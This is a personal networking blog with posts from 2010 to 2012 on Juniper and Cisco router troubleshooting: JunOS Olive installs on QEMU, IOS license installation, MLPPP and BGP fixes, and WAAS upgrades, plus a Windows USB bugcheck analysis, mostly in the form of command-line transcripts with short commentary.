Jaeson's Online Notes

Generated Routes: English, please!

2012-01-07T07:15:00.000-08:00

Unlike aggregate routes, the next hop associated with a generated route is the same next hop as that of the primary contributing route. The primary contributing route is the route with lowest route preference that falls within the aggregated range of prefixes. If there are multiple routes that fall within the aggregated range that share the same route preference, the route with the lowest number prefix, not the lowest prefix length, is selected as the primary contributing route.

The above is what I read about Generated routes. Seemed okay until I read below

Compare the protocol’s preference of the contributing routes. The lower the preference, the better the route. This is similar to the comparison that is done while determining the best route for the routing table.
Compare the protocol’s preference2 of the contributing routes. The lower preference2 value is better. If only one route has preference2, then this route is preferred.
The preference values are the same. Proceed with a numerical comparison of the prefixes' values.
1. The primary contributor is the numerically smallest prefix value.
2. If the two prefixes are numerically equal, the primary contributor is the route that has the smallest prefix length value.

But then it already made sense. Generated routes focus on a bigger network contrast that of an Aggregate route. Notice it mentioned "smallest prefix value" and "smallest prefix length" which are different.

Olive space allocation problem - WARNING: The /tmp/preinstall filesystem is low on free space.

2012-01-01T21:02:00.000-08:00

I saw this in another blog:

WARNING: want 327680 for /tmp rather than 47328
Using 327680 for /tmp
Setting ospackage=jboot-9.3R4.4.tgz, configpackage=configs-9.3R4.4.tgz
Setting packlist=jbundle-9.3R4.4-export.tgz
WARNING: The /tmp/preinstall filesystem is low on free space.
WARNING: This package requires 202800k free, but there
WARNING: is only 162132k available.

WARNING: This installation attempt will be aborted. You are now
WARNING: in a debug shell. Type ^D to reboot the system
You are now in a debugging subshell (you may not see a prompt)...

Whoah!

No more space for the file system. I believe 2 years ago I just made the partitioning larger. I forgot if it solved my issue. But I do know I was at it for a month.

ha!

Most of you folks installing Olive first time would have had a problem installing it if you used any of the newer JunOS version other than 8.5, I think. (The -f was a quick fix)

My problem with a (relatively) newer JunOS version on QEMU is that it stops and complains of the same thing. Right now, I tried upping my VM's memory to 768Mb (company desktop, sssshhhhh!!!). Currently, it's doing this:

=================== Bootstrap installer starting ===================
Initialized the environment
Routing engine model is Olive
Discovered that flash disk = , hard disk = ad0
Disk to install is ad0
mfs: available=1442176
Using 1442176 for /tmp
Setting ospackage=jboot-11.1R6.4.tgz, configpackage=configs-11.1R6.4.tgz
Setting packlist=jbundle-11.1R6.4-domestic.tgz
Packages and configurations copied to /tmp
Filesystem 1K-blocks Used Avail Capacity iused ifree %iused Mounted on
/dev/md1 720876 360186 353482 50% 6 504 1% /tmp
Cleaning up ad0...
WARNING: Swap partition of ad0 is too small
WARNING: Need to partition ad0
Partitioning ad0 ...
******* Working on device /dev/ad0 *******
WARNING: Could not read disklabel for s1.
WARNING: Default sizes will be used for hard disk partitions.
Installing disk label on ad0s1
Running newfs on ad0s1a...
Reduced frags per cylinder group from 94048 to 94008 to enlarge last cyl group
/dev/ad0s1a: 921.0MB (1886204 sectors) block size 16384, fragment size 2048
using 6 cylinder groups of 183.61MB, 11751 blks, 23552 inodes.
super-block backups (for fsck -b #) at:
32, 376064, 752096, 1128128, 1504160, 1880192
Running newfs on ad0s1e...
/dev/ad0s1e: 102.0MB (208892 sectors) block size 16384, fragment size 2048
using 4 cylinder groups of 25.50MB, 1632 blks, 3328 inodes.
super-block backups (for fsck -b #) at:
32, 52256, 104480, 156704
Running newfs on ad0s1f...
/dev/ad0s1f: 79360.8MB (162530880 sectors) block size 16384, fragment size 2048
using 433 cylinder groups of 183.69MB, 11756 blks, 23552 inodes.

...and this as well...

super-block backups (for fsck -b #) at:
32, 376224, 752416, 1128608, 1504800, 1880992, 2257184, 2633376, 3009568,
3385760, 3761952, 4138144, 4514336, 4890528, 5266720, 5642912, 6019104,
6395296, 6771488, 7147680, 7523872, 7900064, 8276256, 8652448, 9028640,
9404832, 9781024, 10157216, 10533408, 10909600, 11285792, 11661984, 12038176,
... etc...

Till I got to this point...

Installing JUNOS on ad0...
Adding jbase...
Mounted jbase on /mnt/packages/mnt/jbase (/dev/md2)
Restoring backed up configurations...
Adding jbundle-11.1R6.4-domestic.tgz...
Checking package integrity...

.. and this too...

Running requirements check first for jbundle-11.1R6.4-domestic...
Running pre-install for jbundle-11.1R6.4-domestic...
Installing jbundle-11.1R6.4-domestic in /var/tmp/pa1803.44/jbundle-11.1R6.4-dome
stic.x1803...
Running post-install for jbundle-11.1R6.4-domestic...
Auto-deleting old jbase...

WARNING: A reboot is required to unload this software correctly
WARNING: Use the 'request system reboot' command
WARNING: when software installation is complete

WARNING: A reboot is required to load this software correctly
WARNING: Use the 'request system reboot' command
WARNING: when software installation is complete
Adding jbase...
Adding jkernel...
Adding jcrypto...
Adding jpfe...

Hmm, long wait till I get to know whether I should just knock my head to the nearest wall. :)

JNICS in 26 days

2012-01-01T17:15:00.000-08:00

Ha! The funniest thing I've ever wrote in Internet space. :)

PS: In the process of knowing if I can do it.

IP SLA configuration error - IOS not taking in commands

2011-07-11T15:20:00.000-07:00

IP SLA errors?

levi-501campbl2-1882(config)#!
levi-501campbl2-1882(config)#ip sla 111
^
% Invalid input detected at '^' marker.

levi-501campbl2-1882(config)#$0.80.2.30 num-packets 500 interval 200
udp-jitter 10.80.1.230 14622 source-ip 10.80.2.30 num-packets 500 interval 200
^
% Invalid input detected at '^' marker.

levi-501campbl2-1882(config)# tos 136
^
% Invalid input detected at '^' marker.

Hmm? Does this mean you did something wrong?

Not really. Newer IOSes need the license installed. With all the years I've been configuring routers this was actually the first time I had to install a license. Most of the time, logistics does that for us. It wasn't so bad except for the initial gotcha.

levi-501campbl2-1882915#sh ver | inc System image file
System image file is "flash0:c2900-universalk9-mz.SPA.150-1.M3.bin"

levi-501campbl2-1882915#sh ver | beg License
License Info:

License UDI:

-------------------------------------------------
Device# PID SN
-------------------------------------------------
*0 CISCO2901/K9 FTXTXTXTXKP

Technology Package License Information for Module:'c2900'

----------------------------------------------------------------
Technology Technology-package Technology-package
Current Type Next reboot
-----------------------------------------------------------------
ipbase ipbasek9 Permanent ipbasek9
security None None None
uc None None None
data datak9 Permanent datak9

Configuration register is 0x42

levi-501campbl2-1882915#

I was experimenting with some commands until got to the following.

levi-501campbl2-1882915#show platform cerm-information

levi-501campbl2-1882915#show license call-home pak
% Incomplete command.

levi-501campbl2-1882915#show license call-home pak ?
WORD Pak string information

levi-501campbl2-1882915#enable
levi-501campbl2-1882915#dir
Directory of flash0:/

1 -rw- 2903 Apr 12 2011 18:48:10 +00:00 cpconfig-29xx.cfg
2 -rw- 2941440 Apr 12 2011 18:48:22 +00:00 cpexpress.tar
3 -rw- 1038 Apr 12 2011 18:48:32 +00:00 home.shtml
4 -rw- 115712 Apr 12 2011 18:48:38 +00:00 home.tar
5 -rw- 1697952 Apr 12 2011 18:48:54 +00:00 securedesktop-ios-3.1.1.45-k9.pkg
6 -rw- 415956 Apr 12 2011 18:49:06 +00:00 sslclient-win-1.1.4.176.pkg
7 -rw- 62662920 Aug 25 2010 09:59:32 +00:00 c2900-universalk9-mz.SPA.150-1.M3.bin
8 -rw- 1146 May 16 2011 10:26:18 +00:00 FTXTXTXTXKP_20110569854541232.lic

256487424 bytes total (188628992 bytes free)
levi-501campbl2-1882915#license install ?
archive: Install from archive: file system
flash0: Install from flash0: file system
flash1: Install from flash1: file system
flash: Install from flash: file system
ftp: Install from ftp: file system
http: Install from http: file system
https: Install from https: file system
null: Install from null: file system
nvram: Install from nvram: file system
rcp: Install from rcp: file system
scp: Install from scp: file system
syslog: Install from syslog: file system
system: Install from system: file system
tftp: Install from tftp: file system
tmpsys: Install from tmpsys: file system
xmodem: Install from xmodem: file system
ymodem: Install from ymodem: file system

levi-501campbl2-1882915#license install flash0: ?

levi-501campbl2-1882915#license install flash0:
Installing licenses from "flash0:"

% Error: License installation failed with error: XML parsing failed

levi-501campbl2-1882915#$tall flash0:FTXTXTXTXKP_20110569854541232.lic
Installing licenses from "flash0:FTXTXTXTXKP_20110569854541232.lic"
Installing...Feature:datak9...Successful:Supported
1/1 licenses were successfully installed
0/1 licenses were existing licenses
0/1 licenses were failed to install

levi-501campbl2-1882915#

A little reload and then reconfiguring made things better. :)

Case of the Missing IOS

2011-06-17T18:44:00.000-07:00

I was scheduled to do a LAN port reconfiguration on a router. The problem was the router's IOS didn't support the changed configuration. (Only on this router series and IOS, I guess)

cis-ab123-48691#conf t
Enter configuration commands, one per line. End with CNTL/Z.
cis-ab123-48691(config)#interface Ethernet0/0
cis-ab123-48691(config-if)# description Local LAN
cis-ab123-48691(config-if)# no ip address
cis-ab123-48691(config-if)# full-duplex
cis-ab123-48691(config-if)#!
cis-ab123-48691(config-if)#interface Ethernet0/0.63
cis-ab123-48691(config-subif)# encapsulation dot1Q 63
^
% Invalid input detected at '^' marker.

cis-ab123-48691(config-subif)# ip address 100.94.63.10 255.255.255.128

% Configuring IP routing on a LAN subinterface is only allowed if that
subinterface is already configured as part of an IEEE 802.10, IEEE 802.1Q,
or ISL vLAN.

cis-ab123-48691(config-subif)# ip access-group security in
cis-ab123-48691(config-subif)#!
cis-ab123-48691(config-subif)#interface Ethernet0/0.150
cis-ab123-48691(config-subif)# encapsulation dot1Q 150
^
% Invalid input detected at '^' marker.

cis-ab123-48691(config-subif)# ip address 100.94.63.129 255.255.255.128

% Configuring IP routing on a LAN subinterface is only allowed if that
subinterface is already configured as part of an IEEE 802.10, IEEE 802.1Q,
or ISL vLAN.

cis-ab123-48691(config-subif)# ip access-group security in
cis-ab123-48691(config-subif)# ip helper-address 100.94.63.55
cis-ab123-48691(config-subif)#interface Ethernet0/0.63
cis-ab123-48691(config-subif)#?

So, I told the customer we had to do an IOS upgrde. Well, after it was agreed to I miserably failed to download an IOS. So, the customer volunteered to do it.

He told me there was a problem.

I replicated.

cis-ab123-48691#sh ver
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600-I-M), Version 12.2(29), RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Wed 11-May-05 17:27 by kellmill
Image text-base: 0x8000808C, data-base: 0x80A1DB00

ROM: System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
ROM: C2600 Software (C2600-I-M), Version 12.2(29), RELEASE SOFTWARE (fc3)

cis-ab123-48691#copy run flash:
Destination filename [pat-br342-48691-confg]?
Erase flash: before copying? [confirm]
Erasing the flash filesystem will remove all files! Continue? [confirm]^C

From the above, we had a more pressing issue. We're all crossed fingers that no one trips on the power cord.

Copying a file, an IOS, or the config? Think twice. Read and heed. :)

Cisco WAAS

2011-05-17T18:13:00.000-07:00

Cisco Wide Area Application Engine Console

Username: name-o-sorts
Password: The_Password
System Initialization Finished.
The-waas#ping 19.40.30.211
PING 19.40.30.211 (19.40.30.211) 56(84) bytes of data.
64 bytes from 10.80.0.21: icmp_seq=1 ttl=59 time=53.1 ms
64 bytes from 10.80.0.21: icmp_seq=2 ttl=59 time=43.4 ms
64 bytes from 10.80.0.21: icmp_seq=3 ttl=59 time=46.4 ms

--- 10.80.0.21 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 43.494/47.684/53.106/4.023 ms
The-waas#copy ftp install 19.40.30.211 / waas-universal-4.3.1.6-k9.b$
Enter username for remote ftp server: admin
Enter password for remote ftp server:
Initiating FTP download...
printing one # per 1MB downloaded
Sending: USER admin

Cisco Wide Area Application Services Central Manager

FIDC-IRVING-WAVE274CM FTP server (Version wu-2.7.0(1) Sat Nov 13 20:57:52 PST 2010) ready.
Password required for admin.
Sending: PASS ********
User admin logged in. Access restrictions apply.
Sending: TYPE I
Type set to I.
Sending: PASV
Entering Passive Mode (19,40,30,211,190,135)
Sending: CWD /
CWD command successful.
Sending PASV
Entering Passive Mode (19,40,30,211,29,113)
Sending: RETR waas-universal-4.3.1.6-k9.bin
Opening BINARY mode data connection for waas-universal-4.3.1.6-k9.bin (275498291 bytes).
Backing up existing version WAAS 4.1.5c-b17, built on 14:14:05 Dec 21 2009 by cnbuild
Converting Manifest files ... Done
Rebuilding image based on current software ... Done
Backing up flash configuration ... Done
Reclaiming unused flash safe state sectors ... Done.
###################################################################
###################################################################
#####################

Detected OE274
Installing phase3 bootloader...
Installing WAE 64-bit image.
Installing system image to flash... .........................................................................................................................................................................
..................................... done.
The new software will run after you reload.
The-waas#

The-waas#reload
Proceed with reload?[confirm]
Proceed with clean WCCP shutdown?[confirm]

WCCP clean shutdown initiated
Waiting for shutdown ok (4 seconds) . Press ^C to skip waiting
Shutting down all services, will timeout in 15 minutes.
reload in progress ..

Some minor problems on MLPPP and BGP

2011-04-04T11:56:00.000-07:00

What:
I. MLPPP for Juniper JUNOS does not establish.
II. BGP does not establish as well and is in state Connect.

Symptoms:
I. Doing a show interface terse shows that the JUNOS- run router does not have the multi-link interface with an IP address.
II. Pinging the PE router does not work and BGP-specific configuration is perfectly fine.

Cause:
I. For the MLPPP interface, JUNOS version 10.0 and above designate the mlppp interface as LSQ instead of LS. To resolve the problem, change the instance declared for the mlppp interface.

delete int ls-0/0/0 unit 0
set int lsq-0/0/0 unit 0 encapsulation multilink-ppp family inet address 152.183.43.74/30

II. Regarding BGP, some managed service install processes are not entirely concerned with having interfaces be associated with different zones, unless specified or as directed by the PM. In such cases, the default configuration of JUNOS 10.0 has the interfaces in Zones. To solve this, reference below

delete security policies
delete security zones (this part might not be needed anymore)
set security forwarding-options family mpls mode packet-based

You may also decide to clear the router of its initial configuration. Type “top” (just to be sure) then “delete.” You could also issue “load factory-default” but try at your own risk. :)

[edit]
root@cust-location-order# load factory-default ?
Possible completions:
<[Enter]> Execute this command
| Pipe through a command
[edit]
root@cust-location-order# top
warning: already at top of configuration; use 'exit' to exit

[edit]
root@cust-location-order# delete
This will delete the entire configuration
Delete everything under this level? [yes,no] (no)

Cheers!

Random JUNOS output

2011-04-04T11:47:00.000-07:00

[edit routing-options]
lab@Cider# show aggregate
route 10.10.0.0/16;

[edit routing-options]
lab@Cider# run show route protocol aggregate detail

inet.0: 10 destinations, 10 routes (10 active, 0 holddown, 0 hidden)
10.10.0.0/16 (1 entry, 1 announced)
*Aggregate Preference: 130
Next hop type: Reject
Next-hop reference count: 2
State:
Age: 1:50
Task: Aggregate
Announcement bits (1): 0-KRT
AS path: I (LocalAgg)
Flags: Depth: 0 Active
AS path list:
AS path: I Refcount: 2
Contributing Routes (2):
10.10.11.0/24 proto Direct
10.10.12.1/32 proto Direct
lab@Cider# set static route 10/8 ?
Possible completions:
active Remove inactive route from forwarding table
+ apply-groups Groups from which to inherit configuration data
+ apply-groups-except Don't inherit configuration data from these groups
> as-path Autonomous system path
> bfd-liveness-detection Bidirectional Forwarding Detection (BFD) options
> color Color (preference) value
> color2 Color (preference) value 2
+ community BGP community identifier
discard Drop packets to destination; send no ICMP unreachables
install Install route into forwarding table
> lsp-next-hop LSP next hop
> metric Metric value
> metric2 Metric value 2
> metric3 Metric value 3
> metric4 Metric value 4
+ next-hop Next hop to destination
next-table Next hop to another table
no-install Don't install route into forwarding table
no-readvertise Don't mark route as eligible to be readvertised
no-resolve Don't allow resolution of indirectly connected next hops
no-retain Don't always keep route in forwarding table
passive Retain inactive route in forwarding table
> preference Preference value
> preference2 Preference value 2
> qualified-next-hop Next hop with qualifiers
readvertise Mark route as eligible to be readvertised
receive Install a receive route for the destination
reject Drop packets to destination; send ICMP unreachables
resolve Allow resolution of indirectly connected next hops
retain Always keep route in forwarding table
> tag Tag string
> tag2 Tag string 2

[edit routing-options static route 0.0.0.0/0]
lab@PBR# show
next-hop 172.16.1.1;
preference 11;

[edit routing-options static route 0.0.0.0/0]
lab@PBR# run show route 200.0.0.0

inet.0: 12 destinations, 12 routes (12 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0 *[Static/11] 00:00:06
> to 172.16.1.1 via fe-0/0/0.412

[edit routing-options]
lab@Bock# run show route martians table inet.0

inet.0:
0.0.0.0/0 exact -- allowed
0.0.0.0/8 orlonger -- disallowed
127.0.0.0/8 orlonger -- disallowed
128.0.0.0/16 orlonger -- disallowed
191.255.0.0/16 orlonger -- disallowed
192.0.0.0/24 orlonger -- disallowed
223.255.255.0/24 orlonger -- disallowed
240.0.0.0/4 orlonger -- disallowed
[edit]
lab@Cider# run show route protocol ospf

inet.0: 11 destinations, 11 routes (11 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0 *[OSPF/150] 00:00:07, metric 0, tag 0
> to 10.10.11.1 via fe-0/0/1.100
. . .
224.0.0.5/32 *[OSPF/10] 00:00:27, metric 1
MultiRecv
[edit routing-options martians]
lab@Cider# set 0/0 exact

[edit routing-options martians]
lab@Cider# show
0.0.0.0/0 exact;

[edit routing-options martians]
lab@Cider# run show route martians table inet.0

inet.0:
0.0.0.0/0 exact -- disallowed
0.0.0.0/8 orlonger -- disallowed
127.0.0.0/8 orlonger -- disallowed
128.0.0.0/16 orlonger -- disallowed
191.255.0.0/16 orlonger -- disallowed
192.0.0.0/24 orlonger -- disallowed
223.255.255.0/24 orlonger -- disallowed
240.0.0.0/4 orlonger -- disallowed

[edit routing-options martians]
lab@Cider# run show route protocol ospf | match 0.0.0.0

user@L3_VPN_router> show route

inet.0: 23 destinations, 23 routes (22 active, 0 holddown, 1 hidden)
+ = Active Route, - = Last Active, * = Both

1.12.1.0/24 *[Direct/0] 00:33:41
> via ge-1/0/0.0
1.12.1.1/32 *[Local/0] 00:33:41
Local via ge-1/0/0.0
. . .
10.255.66.50/32 *[OSPF/10] 00:32:53, metric 1
> to 1.12.1.2 via ge-1/0/0.0
. . .
192.168.64.0/21 *[Direct/0] 5d 02:42:28
> via fxp0.0
192.168.66.47/32 *[Local/0] 5d 02:42:28
Local via fxp0.0
192.168.102.0/23 *[Static/5] 5d 02:42:28
> to 192.168.71.254 via fxp0.0
. . .
224.0.0.5/32 *[OSPF/10] 00:33:41, metric 1
MultiRecv

_ _juniper_private1_ _.inet.0: 2 destinations, 2 routes (2 active,
0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.0.0.0/8 *[Direct/0] 5d 02:41:34
> via fxp1.0
10.0.0.4/32 *[Local/0] 5d 02:42:28
Local via fxp1.0

_ _juniper_private2_ _.inet.0: 1 destinations, 1 routes (0 active,
0 holddown, 1 hidden)

ce1.inet.0: 3 destinations, 3 routes (3 active, 0 holddown,
0 hidden)
+ = Active Route, - = Last Active, * = Both

1.1.1.0/24 *[Direct/0] 00:33:41
> via fe-1/2/0.0
1.1.1.2/32 *[Local/0] 00:33:41
Local via fe-1/2/0.0
10.255.66.52/32 *[BGP/170] 00:33:24, localpref 100
AS path: I
> to 1.1.1.1 via fe-1/2/0.0

iso.0: 1 destinations, 1 routes (1 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

47.0005.80ff.f800.0000.0108.0001.0102.5506.6047/152
*[Direct/0] 5d 02:42:28
> via lo0.0

mpls.0: 3 destinations, 3 routes (3 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0 *[MPLS/0] 00:33:41, metric 1
Receive
1 *[MPLS/0] 00:33:41, metric 1
Receive
2 *[MPLS/0] 00:33:41, metric 1
Receive

inet6.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

abcd::10:255:66:47/128
*[Direct/0] 5d 02:42:28
> via lo0.0
fe80::2a0:a5ff:fe12:47ed/128
*[Direct/0] 5d 02:42:28
> via lo0.0

_ _juniper_private1_ _.inet6.0: 4 destinations, 4 routes (4 active,
0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

fe80::/64 *[Direct/0] 5d 02:41:34
> via fxp1.0
fe80::200:ff:fe00:4/128
*[Local/0] 5d 02:42:28
Local via fxp1.0
fec0::/64 *[Direct/0] 5d 02:41:34
> via fxp1.0
fec0::a:0:0:4/128 *[Local/0] 5d 02:42:28
Local via fxp1.0

[edit routing-options]
lab@PBR# show
rib inet.69 {
static {
route 10.1.0.0/16 discard;
}
}

[edit routing-options]
lab@PBR# run show route table inet.69

inet.69: 1 destinations, 1 routes (1 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.1.0.0/16 *[Static/5] 00:15:53
Discard

[edit routing-options]
lab@PBR# show
interface-routes {
rib-group inet my_interface_routes;
}
rib-groups {
my_interface_routes {
import-rib [ inet.0 inet.2 ];
}
}

[edit routing-options rib-groups]
lab@PBR# run show route table inet.2

[edit routing-options rib-groups]
lab@PBR# commit
commit complete

[edit routing-options rib-groups]
lab@PBR# run show route table inet.2

inet.2: 11 destinations, 11 routes (11 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.130.0/24 *[Direct/0] 00:00:04
> via fe-0/0/0.1141
10.10.130.2/32 *[Local/0] 00:00:04
Local via fe-0/0/0.1141
10.20.128.3/32 *[Direct/0] 00:00:04
> via lo0.0
10.20.129.0/24 *[Direct/0] 00:00:04
> via fe-0/0/0.3141
10.20.129.2/32 *[Local/0] 00:00:04
Local via fe-0/0/0.3141
10.20.130.0/24 *[Direct/0] 00:00:04
> via fe-0/0/0.1241
. . .

[edit routing-options]
lab@PBR# set router-id 1.1.1.1

[edit routing-options]
lab@PBR# show
router-id 1.1.1.1;

lab@PBR# set autonomous-system ?
Possible completions:
Autonomous system number (1..65535)
loops Maximum number of times this AS can be in an AS path
[edit routing-options]
lab@PBR# set autonomous-system 100

[edit routing-options]
lab@PBR# show
autonomous-system 100;

Long JUNOS startup & shutdown

2011-02-07T08:50:00.000-08:00

From this:

Consoles: serial port
BIOS drive C: is disk0
BIOS 639kB/523200kB available memory

FreeBSD/i386 bootstrap loader, Revision 1.1
(builder@warth.juniper.net, Sat Dec 4 09:15:25 UTC 2010)
Loading /boot/defaults/loader.conf
/boot/installer text=0x4f223c data=0x39100+0x610dc syms=[0x4+0x62c60+0x4+0x8b595
]
/
Hit [Enter] to boot immediately, or space bar for command prompt.
Booting [/boot/installer]...
platform_early_bootinit: M/T Series Early Boot Initialization
Olive CPU

To this:

Unix Domain sockets Lock manager
Lock manager 'lockmgr' started successfully.

Database Initialization Utility
RDM Embedded 7 [04-Aug-2006] http://www.birdstep.com
Copyright (c) 1992-2006 Birdstep Technology, Inc. All Rights Reserved.

/var/pdb/profile_db initialized

Profile database initialized
Local package initialization:.
kern.securelevel: -1 -> 1
starting local daemons:.
Tue Feb 8 00:50:44 UTC 2011

Amnesiac (ttyd0)

login:

Takes almost eternity. Glad it finished. Now, its lab time!

PS: Just don't hit any keys after shutting it down. :)

*** FINAL System shutdown message from root@ ***
System going down IMMEDIATELY

Feb 8 01:00:09 init: event-processing (PID 1003) exited with status=0 Normal Exit
Waiting (max 300 seconds) for system process `vnlru' to stop...done
Waiting (max 300 seconds) for system process `vnlru_mem' to stop...done
Waiting (max 300 seconds) for system process `bufdaemon' to stop...done
Waiting (max 300 seconds) for system process `syncer' to stop...
Syncing disks, vnodes remaining...2 2 2 2 2 2 2 2 2 2 1 1 0 0 0 0 0 0 0 0 0 0 done

syncing disks... All buffers synced.
Uptime: 15m45s
recorded reboot as normal shutdown

The operating system has halted.
Please press any key to reboot.

Installing jinstall-10.0R1.8-domestic-signed.tgz on QEMU

2011-02-06T23:49:00.000-08:00

I was able to do this today but not without some problems. The installer package was complaining about how small the allocation was so I had to allocate a larger partition.

I'll try jinstall-10.4R1.9-domestic-signed.tgz next.

Shutting down JUNOS?

2011-02-06T23:46:00.000-08:00

Hmm, try this: request system power-off

That kind of saved my day. :)

usbhub!UsbhHubProcessChangeWorker+ec

2011-01-02T13:29:00.000-08:00

This means I'm pretty messed up on an occasional basis but not really that frequent. [Is disabling some hardware he doesn't need as of this time.]

Well, if you need to load your symbols properly then do the following:

SRV*your local folder for symbols*http://msdl.microsoft.com/download/symbols

You need to download WinDBG and the Symbols, or maybe just WinDBG and some big a55 BW to help you with the download.

It might just be some crazy driver that I've installed. When I find it, I'm gonna kill it!!!

0: kd> .reload
Loading Kernel Symbols
................................................................
................................................................
...................................................
Loading User Symbols
Loading unloaded module list
..............
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

BUGCODE_USB_DRIVER (fe)
USB Driver bugcheck, first parameter is USB bugcheck code.
Arguments:
Arg1: 0000000000000008, USBBUGCODE_RESERVED_USBHUB
Arg2: 0000000000000006, USBHUB_TRAP_FATAL_TIMEOUT
Arg3: 0000000000000006, TimeoutCode: Timeout_PCE_Disable_Action - PortData->PortChangeListDone - Timeout trying to set Disable bit
Arg4: fffffa8006378c80, TimeoutContext - PortData
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0xFE
PROCESS_NAME: System
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from fffff88003e80a60 to fffff80002c8ccc0
STACK_TEXT:
fffff880`031bdc18 fffff880`03e80a60 : 00000000`000000fe 00000000`00000008 00000000`00000006 00000000`00000006 : nt!KeBugCheckEx
fffff880`031bdc20 fffff800`02f7a7ff : fffffa80`06248050 00000000`00000001 ffffffff`dc3a58a0 fffff800`02e23658 : usbhub!UsbhHubProcessChangeWorker+0xec
fffff880`031bdc80 fffff800`02c97185 : fffff800`02e23600 fffff800`02f7a701 fffffa80`03b66600 00000000`00000000 : nt!IopProcessWorkItem+0x23
fffff880`031bdcb0 fffff800`02f292c2 : 0034002b`04000014 fffffa80`03b66680 00000000`00000080 fffffa80`03b4dae0 : nt!ExpWorkerThread+0x111
fffff880`031bdd40 fffff800`02c7a946 : fffff880`02fd3180 fffffa80`03b66680 fffff880`02fddfc0 0400ff64`0030002b : nt!PspSystemThreadStartup+0x5a
fffff880`031bdd80 00000000`00000000 : fffff880`031be000 fffff880`031b8000 fffff880`031bd970 00000000`00000000 : nt!KiStartSystemThread+0x16
STACK_COMMAND: kb
FOLLOWUP_IP:
usbhub!UsbhHubProcessChangeWorker+ec
fffff880`03e80a60 cc int 3
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: usbhub!UsbhHubProcessChangeWorker+ec
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: usbhub
IMAGE_NAME: usbhub.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4ca44a0b
FAILURE_BUCKET_ID: X64_0xFE_usbhub!UsbhHubProcessChangeWorker+ec
BUCKET_ID: X64_0xFE_usbhub!UsbhHubProcessChangeWorker+ec
Followup: MachineOwner

PS: Had to change characters due to site implementing some sort of security measure.

ERROR

These characters are not allowed in a post label: !.

cisco ping data 8080 FAILS

2010-12-10T09:44:00.000-08:00

cust-site-5552081#$.29.3.61 data 8080 size 1500 repeat 1000 df

Type escape sequence to abort.
Sending 1000, 1500-byte ICMP Echos to 172.29.3.61, timeout is 2 seconds:
Packet sent with the DF bit set
Packet has data pattern 0x8080
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!..!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!
Success rate is 99 percent (993/1000), round-trip min/avg/max = 24/24/40 ms

Here's the situation - extended ping test fails on pattern 8080

1 in 7 - 01000000 01000000 01000000

Only a single one in an 8-bit repeating sequence. This is the similar to the Cisco extended 0x8080 test (with out header and footer data) except that the one shows up in the first most significant bit on the Cisco extended test, instead of the second most significant bit on the BERT test. A closer test would be 0x4040. This would be exactly the same except for the header and footer information introduced by TCP/IP and frame relay encoding.

The framed version of this pattern may cause a D4 yellow alarm for framed circuits depending on alignment of one bits to frames. One bits are strategically aligned with frame bits to avoid D4 yellow alarm.

Solutions

1. You could add in a clock source line independent on both controllers if it's a 2xT1 line.
2. Source clocking from the chassis - I forgot how to do this.
3. Do a loopback on the interface of where receive errors are generated then remove the loopback. (They already did a bunch of stuff before going to me and the CE was already power cycled).

Actually, item number 3 save my PM's day, or her week (they've been dealing with the circuit drops for 3 weks now).

As they save, you save the day!!! :)

I love you, Carol!

2010-09-26T12:56:00.000-07:00

